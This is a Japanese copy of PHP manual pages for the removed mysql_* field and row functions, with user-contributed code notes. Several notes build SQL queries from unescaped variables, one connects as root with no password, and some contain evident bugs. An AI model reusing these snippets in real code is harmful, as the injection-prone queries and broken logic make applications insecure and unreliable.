取得された行に対応する配列を返し、内部のデータポインタを前に進めます。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

返り値

取得された行に対応する文字列の配列を返します。もう行がない場合は、 false を返します。

mysql_fetch_row()は、指定した結果 ID が指す結果から 1 行分のデータを取得します。 各結果カラムは、オフセット 0 から始まる配列に格納されます。

例

例1 mysql_fetch_row() で行を取得する

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);

echo $row[0]; // 42
echo $row[1]; // 'email' の値
?>

注意

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

参考

  • mysql_fetch_array() - 連想配列、添字配列、またはその両方として結果の行を取得する
  • mysql_fetch_assoc() - 連想配列として結果の行を取得する
  • mysql_fetch_object() - 結果の行をオブジェクトとして取得する
  • mysql_data_seek() - 内部的な結果ポインタを移動する
  • mysql_fetch_lengths() - 結果における各出力の長さを得る
  • mysql_result() - 結果データを得る

User Contributed Notes

murapaka dot sateesh at gmail dot com 04-Jun-2014 04:25
<?php

$conn=mysql_connect("localhost","root","");
if($conn)
{
    echo("Connection Successfully");
    $seldb=mysql_select_db("test",$conn);
    if($seldb)
    {
        echo("Database selected successfully");
        $retrive=mysql_query("select name,number from login1 where name='sateesh'",$conn);
        if($retrive)
        {
            echo("Successfully data retrived<br>");

            $result=mysql_fetch_row($retrive);

                echo ("Name".$result[0]);
                echo ("Number".$result[1]);

        }
        else
        {
        echo "Table not inserted";
        }
        }
        else
        {
            die("database not selected");
        }
    }
    else
    {
        die("connection faild");
    }
    mysql_close($conn);
?>
pepik at gmail dot cz 19-Jun-2013 11:46
<?php
  require 'prhlavicka.php';
  pis_hlavicku('Vypis ?lank?');

   require_once 'db.php';
    $kom = new server();
    $sql=$kom->query("SELECT autor,nazev,obsah FROM `Clanky_Sadek`");
               while ($data = mysql_fetch_row($sql)){
                 ECHO '<br />--AUTOR--<br />'.$data[0].'<br />__NAZEV ?LANKU__<br />'.$data[1].'<br />..OBSAH ?LANKU..<br />'.$data[2];     }

  include 'Paticka.html'; ?>
jhulbert at redf dot com 19-Feb-2010 01:32
Creates table from all db info:

<?php
$qry = "SELECT * FROM exp_member_data";
$res = mysql_query($mem_qry);

function mysql_fetch_all($res) {
   while($row=mysql_fetch_array($res)) {
       $return[] = $row;
   }
   return $return;
}

function create_table($dataArr) {
    echo "<tr>";
    for($j = 0; $j < count($dataArr); $j++) {
        echo "<td>".$dataArr[$j]."</td>";
    }
    echo "</tr>";
}

$all = mysql_fetch_all($res);

echo "<table class='data_table'>";

for($i = 0; $i < count($all); $i++) {
    create_table($all[$i]);
}

echo "</table>";

?>
larkitetto at gmail dot com 21-Feb-2008 03:29
sry :) note now fixed:

<?php
$esi=mysql_list_tables($db);$ris=mysql_fetch_row($esi);
//example: $db has >= 1 tabs
echo var_dump($ris);
//echoes only array(1). solution:
while($ris=mysql_fetch_row($esi)) echo $ris[0];
/*debug:
$ris=array("1st_tab"); ... $ris=array("n_tab");$ris=false;*/
while ($ris[]=mysql_fetch_row($esi));
//debug:$ris=array(array("1st_tab"), ... array("n_tab"));
echo $ris[n][0];//echo:"n_tab"
echo $ris[0][n];//echo:array | null
?>

hope it helps
ryhan_balboa at yahoo dot com 16-Nov-2007 09:23
The following are the basic codes to get a specific row from the mysql db into a $row variable:

$query = "SELECT * FROM table";
$result = mysql_query($query);
$row = mysql_fetch_row($result);

And $row[0], $row[1] ... $row[n] are used to access those field values.

Does anyone know how I can add a new field to $row, so that the field count increases from n to n+1?

I have tried treating $row like an array, and tried array_push function, but didn't work.

Thanks.
m dot s at programmers-online dot net 17-Nov-2005 01:56
The following function to read all data out of a mysql-resultset, is may be faster than Rafaels solution:

<?
function mysql_fetch_all($result) {
   while($row=mysql_fetch_array($result)) {
       $return[] = $row;
   }
   return $return;
}
?>
michael and then an at sign wassupy.com 08-Apr-2003 12:09
to print an array, simply use print_r(array name)

like this:
    $myrow = mysql_fetch_row($result);
echo "<pre>";
print_r($myrow);
echo "</pre>";

this will output the array in a readable form, with the index, too. Don't forget the 'pre' tags or the output will be on a single line.
a at simongrant dot org 06-Feb-2002 05:10
Maybe worth pointing out that all the fields returned by this (and other?) calls are returned with type string. This had me puzzled for quite some time.


結果において指定したフィールドのフラグを取得する

  • ≪ mysql_fetch_row
  • mysql_field_len ≫
  • PHP Manual
  • MySQL 関数
  • 結果において指定したフィールドのフラグを取得する

mysql_field_flags

(PHP 4, PHP 5)

mysql_field_flags — 結果において指定したフィールドのフラグを取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_field_direct() [flags]
  • PDOStatement::getColumnMeta() [flags]

説明

mysql_field_flags ( resource $result , int $field_offset ) : string|false

mysql_field_flags()は、指定したフィールドの フィールドフラグを返します。個々のフラグは、空白一つで区切られた 形式で返されます。このため、返された値を explode() で分割することができます。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

field_offset

数値フィールドオフセット。 field_offset は 0 から始まります。 field_offset が存在しない場合、 E_WARNING レベルのエラーが発行されます。

返り値

結果についてのフラグを文字列で返します。失敗した場合に false を返します。

運用システム上のMySQLがサポートしている場合、次のフラグがレポート されます。 "not_null", "primary_key", "unique_key", "multiple_key", "blob", "unsigned", "zerofill", "binary", "enum", "auto_increment" そして "timestamp"

例

例1 mysql_field_flags() の例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$flags = mysql_field_flags($result, 0);

echo $flags;
print_r(explode(' ', $flags));
?>

上の例の出力は、 たとえば以下のようになります。

not_null primary_key auto_increment
Array
(
    [0] => not_null
    [1] => primary_key
    [2] => auto_increment
)

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_fieldflags()

参考

  • mysql_field_type() - 結果において指定したフィールドの型を取得する
  • mysql_field_len() - 指定したフィールドの長さを返す

User Contributed Notes

play at arcadevillage dot com 03-Aug-2009 07:07
To really backup the database values, I made a little changement :

My code really looks like bomas 's code, but there is an important diffence :

<?php
$nbc = mysql_num_fields($req_table);
while ($ligne = mysql_fetch_array($req_table))
  {
    $insertions = "INSERT INTO $table VALUES(";
     for ($i=0; $i<$nbc; $i++)
        {
          if ( $i > 0 ) $insertions .= ", ";
          if ( !isset($ligne[$i]))
            $insertions .= "NULL";
          else
            $insertions .= "'" . mysql_real_escape_string($ligne[$i]). "'";
        }
     $insertions .= ");";
     $dumpsql[] = $insertions;
   }
?>

$dumpslq is the variable where I put the insertion orders before writting them in a text file.

Before, I test that the values if not NULL into the field because it is the only way to make the difference, for example for string text fields, between NULL values and empty strings.

If you don't make this test, you should find empty string instead of NULL values when you do the backup.
bomas at cities-of-faith dot com 08-Sep-2005 01:52
well, to make a complete backup of your database, i suggest this code:

//open database here
$tab_status = mysql_query("SHOW TABLE STATUS");
while($all = mysql_fetch_assoc($tab_status)):
    $tbl_stat[$all[Name]] = $all[Auto_increment];
endwhile;
unset($backup);
$tables = mysql_list_tables('cofadmin');
while($tabs = mysql_fetch_row($tables)):
    $backup .= "--\n--Tabel structuur voor `$tabs[0]`\n--\n\nDROP IF EXISTS TABLE `$tabs[0]`\nCREATE TABLE IF NOT EXISTS `$tabs[0]` (&nbsp;";
    $res = mysql_query("SHOW CREATE TABLE $tabs[0]");
    while($all = mysql_fetch_assoc($res)):
        $str = str_replace("CREATE TABLE `$tabs[0]` (", "", $all['Create Table']);
        $str = str_replace(",", ",&nbsp;", $str);
        $str2 = str_replace("`) ) TYPE=MyISAM ", "`)\n ) TYPE=MyISAM ", $str);
        $backup .= $str2." AUTO_INCREMENT=".$tbl_stat[$tabs[0]].";\n\n";
    endwhile;
    $backup .= "--\n--Gegevens worden uitgevoerd voor tabel `$tabs[0]`\n--\n\n";
    $data = mysql_query("SELECT * FROM $tabs[0]");
    while($dt = mysql_fetch_row($data)):
        $backup .= "INSERT INTO `$tabs[0]` VALUES('$dt[0]'";
        for($i=1; $i<sizeof($dt); $i++):
            $backup .= ", '$dt[$i]'";
        endfor;
        $backup .= ");\n";
    endwhile;
    $backup .= "\n-- --------------------------------------------------------\n\n";
endwhile;
echo $backup;

this displayes your data the same way as phpmyadmin does.

hope it helps some of you guys
Greetz
pike-php at kw dot nl 14-Jul-2005 04:55
ok, sorry for the code bloat :) but this is how I
get the full power of mysql's DESCRIBE table statement, in
an associative array, including defaults, enum values, float radix et all.

it assumes mysql returns the type as
   "type[(arg[,arg..])] [ add]"
like
   "float(20,6) unsigned"
   "enum('yes','no')"
etc

<?

function getFields($tablename) {

        $fields = array();
        $fullmatch         = "/^([^(]+)(\([^)]+\))?(\s(.+))?$/";
        $charlistmatch     = "/,?'([^']*)'/";
        $numlistmatch     = "/,?(\d+)/";

        $fieldsquery .= "DESCRIBE $tablename";
        $result_fieldsquery = mysql_query($fieldsquery) or die(mysql_error());
        while ($row_fieldsquery = mysql_fetch_assoc($result_fieldsquery)) {

            $name     = $row_fieldsquery['Field'];
            $fields[$name] = array();
            $fields[$name]["type"]         = "";
            $fields[$name]["args"]         = array();
            $fields[$name]["add"]          = "";
            $fields[$name]["null"]        = $row_fieldsquery['Null'];
            $fields[$name]["key"]        = $row_fieldsquery['Key'];
            $fields[$name]["default"]    = $row_fieldsquery['Default'];
            $fields[$name]["extra"]        = $row_fieldsquery['Extra'];

            $fulltype     = $row_fieldsquery['Type'];
            $typeregs = array();

            if (preg_match($fullmatch, $fulltype, $typeregs)) {
                $fields[$name]["type"] = $typeregs[1];
                if ($typeregs[4]) $fields[$name]["add"] = $typeregs[4];
                $fullargs = $typeregs[2];
                $argsreg = array();
                if (preg_match_all($charlistmatch, $fullargs, $argsreg)) {
                    $fields[$name]["args"] = $argsreg[1];
                } else {
                    $argsreg = array();
                    if (preg_match_all($numlistmatch, $fullargs, $argsreg)) {
                        $fields[$name]["args"] = $argsreg[1];
                    } else die("cant parse type args: $fullargs");
                }
            } else die("cant parse type: $fulltype");

        }
        return $fields;

    }

?>
buttrose at unimelb dot edu dot au 20-Oct-2004 07:26
This function is essential for writing a generic table editor (ie one that just takes the name of the table and works out what fields it has, types, sizes etc.). Unfortunately, I am using psotgreSQL not mySql. Postgres has field_type and field_size functions  but not as far as I can tell an equivalent of the mysql_field_flags() function. Without it, there is no way I can do generic ADDs and INSERTs.

Anyone know a workaround to get this information (eg is the field a primary key? Can it be NULL? Is it auto_increment?) in Postgres?

Cheers

Rob Buttrose
amir at scrounch dot com 17-Aug-2003 10:39
returns primary keys of a table using 'show keys'
although it is possible to use desc, show keys offers possible enhancements such a getting sequence in index along with it

function getPrimaryKeyOf($table, $link) {
  $pk = Array();

  $sql = 'SHOW KEYS FROM `'.$table.'`';
  $res = mysql_query($table, $link) or die(mysql_error());
  while ($row = mysql_fetch_assoc($res)) {
    if ($row['Key_name']=='PRIMARY')
      array_push($pk, $row['Column_name']);
  }
  return $pk;
}
simone dot t at betisgroup dot com 10-Apr-2003 04:20
Another examples :

####################################

function field_keys($host, $user, $password, $database, $field ) {
   $db_link = mysql_connect($host, $user, $password) or die ("error connect");
   mysql_select_db($database,$db_link);
   $query="DESC $field";
   $results=mysql_query($query);
   $i=0;
   while ($row=mysql_fetch_array($results)) {
         if ($row[Key]=="PRI") {
            $array_keys[$i]=$row[Field];
         }
         $i++;
  }
   return $array_keys;
}

####################################

//Example of Main...
$tmp = field_keys("localhost", "myuser", "mypassword", "mydb", "field_name" );

// ...loop through array...
foreach ( $tmp as $array_tmp){
    print "<br>";
    print $array_tmp;
    print "<br>";
}
justin DOT flavin AT ntlworld DOT com 06-Dec-2002 10:36
Sometimes, when writing a generic function or class, you want your script to be able to determine what the primary key of a table is.
/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
if ($row[Type]="PRI")
    {
print "I found the primary key! <br>";
$UserKey=$row[Field];
print $row[Field];
/* drop out , as we've found the key */
exit;
    }
}

..... later on we might have something like

< some sort of loop through records >

print "<a href='View_User_record.php?userkey=$UserKey'> Users Name </a>";

<end loop>

What's also interesting is the useful data you can get from
a DESC query.

The following prints out the array values grabbed by mysql_fetch_array on a DESC query - VERY useful stuff!!!

/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
print "<pre>";
print_r ($row);
print "</pre>";
}
jakemsr at jakemsr dot com 31-Oct-2002 12:32
I didn't find anything to get the valid values for
ENUM or SET column types, so I came up with the
following

function mysql_enum_values($table, $field)
{
    $sql = "SHOW COLUMNS FROM $table LIKE '$field'";
    $sql_res = mysql_query($sql)
        or die("Could not query:\n$sql");
    $row = mysql_fetch_assoc($sql_res);
    mysql_free_result($sql_res);
    return(explode("','",
        preg_replace("/.*\('(.*)'\)/", "\\1",
            $row["Type"])));
}
cufarley at nirvanet dot net 11-Jul-2001 05:36
Using the "DESC TableName" command may also do the trick and is a bit shorter.
jurgen at alienguitar dot com 10-Jun-2001 04:50
The previous problem to get the default values of a column:
Use the following query and parse the 'Default' column:

"SHOW COLUMNS FROM TableName"

or for a single entry:

"SHOW COLUMNS FROM TableName LIKE 'column'"

It will give you also values for Type,  Null, Key and Extra (check with mysql program first, so you see what you get ;-)


指定したフィールドの長さを返す

  • ≪ mysql_field_flags
  • mysql_field_name ≫
  • PHP Manual
  • MySQL 関数
  • 指定したフィールドの長さを返す

mysql_field_len

(PHP 4, PHP 5)

mysql_field_len — 指定したフィールドの長さを返す

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_field_direct() [length]
  • PDOStatement::getColumnMeta() [len]

説明

mysql_field_len ( resource $result , int $field_offset ) : int|false

mysql_field_len()は指定したフィールドの長さを 返します。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

field_offset

数値フィールドオフセット。 field_offset は 0 から始まります。 field_offset が存在しない場合、 E_WARNING レベルのエラーが発行されます。

返り値

成功した場合には指定したフィールドの長さ、失敗した場合に false を返します。

例

例1 mysql_field_len() の例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}

// データベーススキーマで定義されている、id フィールドの
// 長さを取得する
$length = mysql_field_len($result, 0);
echo $length;
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_fieldlen()

参考

  • mysql_fetch_lengths() - 結果における各出力の長さを得る
  • strlen() - 文字列の長さを得る

User Contributed Notes

rvwoens at gmail dot com 04-Feb-2012 05:38
Note that for some reason the length of fields is 3 times the actual value if you are using UTF8 encoding.. So a varchar(10) field returns 30 here. This renders this function almost useless.
adam_nospam_hunger at yahoo dot com 30-Oct-2003 05:04
For a mysql type DECIMAL(8,4), the length is returned as 10 (M+2 as per documentation).


結果において指定したフィールド名を取得する

  • ≪ mysql_field_len
  • mysql_field_seek ≫
  • PHP Manual
  • MySQL 関数
  • 結果において指定したフィールド名を取得する

mysql_field_name

(PHP 4, PHP 5)

mysql_field_name — 結果において指定したフィールド名を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_field_direct() [name] あるいは [orgname]
  • PDOStatement::getColumnMeta() [name]

説明

mysql_field_name ( resource $result , int $field_offset ) : string|false

mysql_field_name()は、指定したフィールドの 名前を返します。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

field_offset

数値フィールドオフセット。 field_offset は 0 から始まります。 field_offset が存在しない場合、 E_WARNING レベルのエラーが発行されます。

返り値

成功した場合に指定したフィールドの名前を、失敗した場合に false を返します。

例

例1 mysql_field_name() の例

<?php
/* users テーブルには以下の 3 つのフィールドがある
 *   user_id
 *   username
 *   password.
 */
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect to MySQL server: ' . mysql_error());
}
$dbname = 'mydb';
$db_selected = mysql_select_db($dbname, $link);
if (!$db_selected) {
    die("Could not set $dbname: " . mysql_error());
}
$res = mysql_query('select * from users', $link);

echo mysql_field_name($res, 0) . "\n";
echo mysql_field_name($res, 2);
?>

上の例の出力は以下となります。

user_id
password

注意

注意: この関数により返されるフィー ルド名は 大文字小文字を区別 します。

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_fieldname()

参考

  • mysql_field_type() - 結果において指定したフィールドの型を取得する
  • mysql_field_len() - 指定したフィールドの長さを返す

User Contributed Notes

tiptonentserv at gmail dot com 13-Aug-2011 05:56
simple sql to xml converter works with any sql query and returns the name of the table as the root element "row" as each row element and the names of the columns are your children of row. fully tested.

<?php
function sqlToXml($host,$user,$pass,$database,$tablename,$query){

    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());

    $result = mysql_query($query);
    if(!$result){ die('Invalid query: '.mysql_error()); }

    $numOfCols = mysql_num_fields($result);
    $numOfRows = mysql_num_rows($result);

    $info = mysql_fetch_assoc($result);

    //send headers
    header('Content-type: text/xml');
    header('Pragma: public');
    header('Cache-control: private');
    header('Expires: -1');
    $xml = '<?xml version="1.0" encoding="utf-8"?>';
    $xml.= "<{$tablename}>";

    if($numOfRows > 0){
        do {
            $xml.= "<row>";
            foreach($info as $column => $value) {
                $xml.= "<{$column}>{$value}</{$column}>";
            }
            $xml.= "</row>";
        }
        while ($info = mysql_fetch_array($result));
    }
    $xml.= "</{$tablename}>";

    mysql_free_result($result);
    return $xml;

}
?>
bags 24-Jul-2010 03:02
When using aliases, it appears impossible to discover the name of the underlying column.
select `ID` as `anAlias` from `aTable` returns 'anAlias' as the mysql_field_name(). I have tried all the mysql_field_xxx() functions and none return the real column name.
anonymous at site dot com 09-Mar-2008 06:13
This function is slightly stupid to be honest, why not just make an array of field names... You could consolidate the two of these functions that way and it makes it a lot easier to list them when your script is dynamic.

<?php

    function mysql_field_array( $query ) {

        $field = mysql_num_fields( $query );

        for ( $i = 0; $i < $field; $i++ ) {

            $names[] = mysql_field_name( $query, $i );

        }

        return $names;

    }

    // Examples of use

    $fields = mysql_field_array( $query );

    // Show name of column 3

    echo $fields[3];

    // Show them all

    echo implode( ', ', $fields[3] );

     // Count them - easy equivelant to 'mysql_num_fields'

    echo count( $fields );

?>
blackjackdevel at gmail dot com 13-Nov-2007 04:13
Strangely using an aproach like this:
$res=mysql_query("SELECT * FROM `orders`",$conec) or die (mysql_error());

$fields = mysql_num_fields($res);
$out="";
for ($i = 0; $i < $fields; $i++) {
    $fname=mysql_field_name($res, $i);

}

 Outputted the E_Warning:
Warning: mysql_field_name() [function.mysql-field-name]: Field N is invalid for MySQL result index

 With a lot of different number at N. But expliciting all fields instead of *. Didn't outputted the error.

 It maybe a caracteristic of this mysql database(it is from a open source application) because i never saw this in my own databases. Anyway hope this help if someone face the same strange situation
matteo.cisilino[no_more]cisilino[spm]com 09-Jan-2007 08:54
james, why make so difficult when it's very simple :\

$numberfields = mysql_num_fields($res_gb);

   for ($i=0; $i<$numberfields ; $i++ ) {
       $var = mysql_field_name($res_gb, $i);
       $row_title .= $var;
   }

echo $row_title;
janezr at jcn dot si 19-Oct-2005 07:18
This is another variant of displaying all columns of a query result, but with a simplified while loop.

<?
$query="select * from user";
$result=mysql_query($query);
$numfields = mysql_num_fields($result);

echo "<table>\n<tr>";

for ($i=0; $i < $numfields; $i++) // Header
{ echo '<th>'.mysql_field_name($result, $i).'</th>'; }

echo "</tr>\n";

while ($row = mysql_fetch_row($result)) // Data
{ echo '<tr><td>'.implode($row,'</td><td>')."</td></tr>\n"; }

echo "</table>\n"
?>
clinnenb at hotmail dot com 05-Aug-2005 08:19
The following will create a PHP array, $array, containing the MySQL query results with array indexes of the same name as field names returned by the MySQL query.

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    $i=0;
    foreach ($line as $col_value) {
        $field=mysql_field_name($result,$i);
        $array[$field] = $col_value;
        $i++;
    }
}
jimharris at blueyonder dot co dot uk 20-Dec-2004 06:28
The code in the last comment has an obvious mistake in the for loop expression.  The correct expression in the for-loop is $x<$y rather than $x<=$y...

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<$y; $x++) {
   echo = mysql_field_name($result, $x).'<br>';
}
colin dot truran at shiftf7 dot com 17-Dec-2004 04:44
T simply itterate through all the field names on a result set try using this.

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<=$y; $x++) {
    echo = mysql_field_name($result, $x).'<br>';
}

This is useful if you have a result set that joins several tables dynamicaly and you are never sure what all the fields will be when you come to display them.

I suggest you place this within a loop through your result rows and include a field flag check  around the echo to only show certain data types like this.

$y=mysql_num_fields($result);
while ($row=mysql_fetch_array($result)) {
  for ($x=0; $x<=$y; $x++) {
    $fieldname=mysql_field_name($result,$x);
    $fieldtype=mysql_field_type($result, $x);
    if ($fieldtype=='string' && $row[$fieldname]!='')
       echo $row[$fieldname].' , ';
   }
   echo '<br>';
}
aaronp123 att yahoo dott comm 21-Feb-2003 06:27
You could probably elaborate on this by sending a full sql query to this function...but I titled it simple_query() because it doesn't really allow for joins.  Never the less, if you want to get a quick array full of a single row result set this is painless:

function simple_query($table_name, $key_col, $key_val) {
    // open the db
    $db_link = my_sql_link();
    // query table using key col/val
    $db_rs = mysql_query("SELECT * FROM $table_name WHERE $key_col = $key_val", $db_link);
    $num_fields = mysql_num_fields($db_rs);
    if ($num_fields) {
        // first (and only) row
        $row = mysql_fetch_assoc($db_rs);
        // load up array
        for ($i = 0; $i < $num_fields; $i++) {
            $simple_q[mysql_field_name($db_rs, $i)] = $row[mysql_field_name($db_rs, $i)];
        }
        // and return
        return $simple_q;
    } else {
        // no rows
        return false;
    }
    mysql_free_result($db_rs);
}

**Please note that my_sql_link() is just a function I have to open up a my sql connection.**
jason dot chambes at phishie dot net 20-Feb-2003 06:07
<?
/*
    By simply calling the searchtable() function
    with these variables it will serach the desired
    database and procude a table for each field that
    there is a match.
*/

function searchtable($host,$user,$pass,$database,$tablename,$userquery)
{
    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());
    $fields = mysql_list_fields($database, $tablename, $link);
    $cols   = mysql_num_fields($fields);

    for ($i = 1; $i < $cols; $i++) {
        $allfields[] = mysql_field_name($fields, $i);
    }
    foreach ($allfields as $myfield) {
        $result = mysql_query("SELECT * FROM $tablename WHERE $myfield like '%$userquery%' ");
        if (mysql_num_rows($result) > 0){
            echo "<h3>search <i>$database</i> for <i>$userquery</i>, found match(es) in <i>$myfield</i>: </h3>\n";
            echo "<table border=1 align=\"center\">\n\t<tr>\n";
            for ($i = 1; $i < $cols; $i++) {
                echo "\t\t<th";
                if ($myfield == mysql_field_name($fields, $i)){
                    echo " bgcolor=\"orange\"> ";
                } else {
                    echo ">";
                }
                echo mysql_field_name($fields, $i) . "</th>\n";
            }
            echo "\t</tr>\n";
            $myrow = mysql_fetch_array($result);
            do {
                echo "\t<tr>\n";
                for ($i = 1; $i < $cols; $i++){
                    echo "\t\t<td> $myrow[$i] &nbsp;</td>\n";
                }
                echo "\t</tr>\n";
            } while ($myrow = mysql_fetch_array($result));
            echo "</table>\n";
        }
    }
}

searchtable($host,$user,$pass,$database,$tablename,$userquery);
?>
matt at iwdt dot net 23-Sep-2001 06:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error


結果ポインタを指定したフィールドオフセットにセットする

  • ≪ mysql_field_name
  • mysql_field_table ≫
  • PHP Manual
  • MySQL 関数
  • 結果ポインタを指定したフィールドオフセットにセットする

mysql_field_seek

(PHP 4, PHP 5)

mysql_field_seek — 結果ポインタを指定したフィールドオフセットにセットする

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_field_seek()
  • PDOStatement::fetch() で cursor_orientation パラメータおよび offset パラメータを使う

説明

mysql_field_seek ( resource $result , int $field_offset ) : bool

指定したフィールドオフセットに移動します。 mysql_field_seek() をコールした後、 mysql_fetch_field() をフィールドオフセットを付けずに コールした場合、このフィールドが返されます。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

field_offset

数値フィールドオフセット。 field_offset は 0 から始まります。 field_offset が存在しない場合、 E_WARNING レベルのエラーが発行されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mysql_fetch_field() - 結果からカラム情報を取得し、オブジェクトとして返す

User Contributed Notes

adrien dot gibrat at gmail dot com 04-Oct-2008 01:12
Not dumb at all!!

It means that "mysql_field_seek" and "mysql_data_seek" are moving the same cursor... through the rows and columns of the result resource.

Also means that the cursor goes to a new row when it reach a final field(aka column), by exemple while looping with "mysql_fetch_field".

Calling "mysql_fetch_object", "mysql_fetch_array", "mysql_fetch_assoc"
and "mysql_fetch_row" seems to place the cursor at the end of the line.

So calling "mysql_fetch_field" without a field index, just after that, will return false.
chris at igwsolutions dot com 25-Apr-2008 03:23
I spent a good deal of time trying to get the example to work, but the example does not work.
To do what the exaple is trying to do, you would need to use mysql_data_seek

assume we have table named testing which contains
id      name
1       Hassan
2       Jack
3       Rose
---------------

Here is an expample that will do the above example.

Since I am more comfortable in a OOP setting, I used mysql_fetch_object

<?php
    require("myConnenctionFile.php");

    $sql="SELECT  * from testing";
    $result=mysql_query($sql);

    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (1      Hassan)
    mysql_data_seek($result,2);
    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (3      Rose)
    echo "<BR><BR>";
?>
Hassan Kazem 10-Jan-2008 10:34
an example of this function
assume we have table1 which contains
ID      Name
1       Hassan
2       Jack
3       Rose
---------------
<?php
mysql_connect("sql.server.com", "username", "password") or die(mysql_error());
mysql_select_db("database") or die(mysql_error());
$sql="SELECT  * from table1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $row['ID'] . ' ' . $row['Name']; // Output is (1      Hassan)
mysql_field_seek($result,2);
echo $row['ID'] . ' ' . $row['Name']; // Output is (3      Rose)
?>
---------------
// You can see that the seek command forwarded the pointer one step and skipped row number 2
poulpillusion at free dot fr 17-Apr-2007 07:44
A dumb comment... but it may save people some time :
mysql_field_seek != mysql_data_seek

In order to fetch again the results of a resource result from the beginning, you will use mysql_data_seek(id, 0)


指定したフィールドが含まれるテーブルの名前を取得する

  • ≪ mysql_field_seek
  • mysql_field_type ≫
  • PHP Manual
  • MySQL 関数
  • 指定したフィールドが含まれるテーブルの名前を取得する

mysql_field_table

(PHP 4, PHP 5)

mysql_field_table — 指定したフィールドが含まれるテーブルの名前を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_field_direct() [table] あるいは [orgtable]
  • PDOStatement::getColumnMeta() [table]

説明

mysql_field_table ( resource $result , int $field_offset ) : string

指定したフィールドが含まれるテーブルの名前を返します。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

field_offset

数値フィールドオフセット。 field_offset は 0 から始まります。 field_offset が存在しない場合、 E_WARNING レベルのエラーが発行されます。

返り値

成功した場合にテーブルの名前を返します。

例

例1 mysql_field_table() の例

<?php

$query = "SELECT account.*, country.* FROM account, country WHERE country.name = 'Portugal' AND account.country_id = country.id";

// 結果を DB から取得します
$result = mysql_query($query);

// テーブル名とフィールド名を一覧表示します
for ($i = 0; $i < mysql_num_fields($result); ++$i) {
    $table = mysql_field_table($result, $i);
    $field = mysql_field_name($result, $i);

    echo  "$table: $field\n";
}

?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_fieldtable()

参考

  • mysql_list_tables() - MySQL データベース上のテーブルのリストを得る

User Contributed Notes

djafferian at sos dot ri dot gov 15-Jul-2014 02:35
This note may apply to anyone who might still be running MySQL 5.0.32 on Debian 4.0.  The mysql_field_table function may return an empty table name if the SELECT query involved uses GROUP BY or ORDER BY and references a view in the FROM clause.  This is caused by MySQL bug 28898, which was fixed in 5.0.46.  I encountered this when I noticed a difference between our production RSS feeds generated on a Debian 5.0.10 server running MySQL 5.0.51a, and the same feed generated on one of our test servers running MySQL 5.0.32 on Debian 4.0.
mehdi dot haresi at gmail dot com 17-Jul-2009 02:50
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
